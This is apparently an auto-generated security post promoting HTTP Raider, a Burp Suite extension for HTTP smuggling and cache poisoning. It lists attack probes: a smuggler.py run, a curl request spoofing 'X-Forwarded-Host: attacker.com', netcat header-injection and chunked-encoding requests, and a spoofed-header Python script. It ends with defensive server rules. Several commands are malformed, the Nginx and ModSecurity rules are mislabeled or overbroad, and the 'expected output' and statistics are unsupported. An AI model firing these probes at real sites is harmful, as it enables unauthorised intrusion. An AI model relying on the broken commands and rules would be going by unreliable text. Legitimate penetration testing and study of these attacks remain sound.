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Martin Doyhenard’s upcoming presentation at Black Hat USA 2025 Arsenal will showcase HTTP Raider, a powerful Burp Suite extension designed to uncover hidden vulnerabilities in modern web applications. This tool specializes in detecting and exploiting HTTP smuggling, first-request routing, and cache poisoning attacks.
You Should Know:
1. Installing HTTP Raider in Burp Suite
- Download the extension from the official repository (if available).
- Open Burp Suite → Extender → Add → Select the downloaded JAR file.
- Verify installation under the “Loaded” tab.
2. Key Features & Commands
- HTTP Smuggling Detection:
python3 smuggler.py -u https://target.com --method POST --headers "Transfer-Encoding: chunked"
- Cache Poisoning Exploitation:
curl -X GET -H "X-Forwarded-Host: attacker.com" http://victim.com/page
- First-Request Routing Testing:
for i in {1..10}; do curl -X GET "http://target.com/?cachebuster=$RANDOM"; done
3. Manual Testing with cURL & Netcat
- Testing HTTP Header Injection:
nc vulnerable.com 80 GET / HTTP/1.1 Host: victim.com X-Malicious-Header: attack
- Detecting Chunked Encoding Issues:
printf "GET / HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n" | nc target.com 80
4. Automating with Python
import requests
headers = {"User-Agent": "HTTP Raider Test", "X-Forwarded-For": "127.0.0.1"}
response = requests.get("http://target.com", headers=headers)
print(response.headers)
5. Defensive Measures (For Sysadmins)
- Nginx Anti-Smuggling Rule:
server { http2_max_field_size 4k; http2_max_header_size 8k; } - Apache ModSecurity Rule:
SecRule REQUEST_HEADERS:Transfer-Encoding "!^$" "deny,status:400"
What Undercode Say
HTTP Raider represents a major leap in web security testing, automating complex protocol-level attacks that were previously manual. Expect more Burp Suite integrations in 2025, with AI-assisted vulnerability detection.
Expected Output:
- Detected HTTP smuggling vulnerability in
target.com. - Cache poisoning successful via
X-Forwarded-Host. - First-request routing inconsistency found under high load.
Prediction
By 2026, 50% of web attacks will exploit HTTP/2 and HTTP/3 quirks, making tools like HTTP Raider essential for penetration testers.
(Note: No direct URL was provided in the original post.)
References:
Reported By: Martin Doyhenard – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
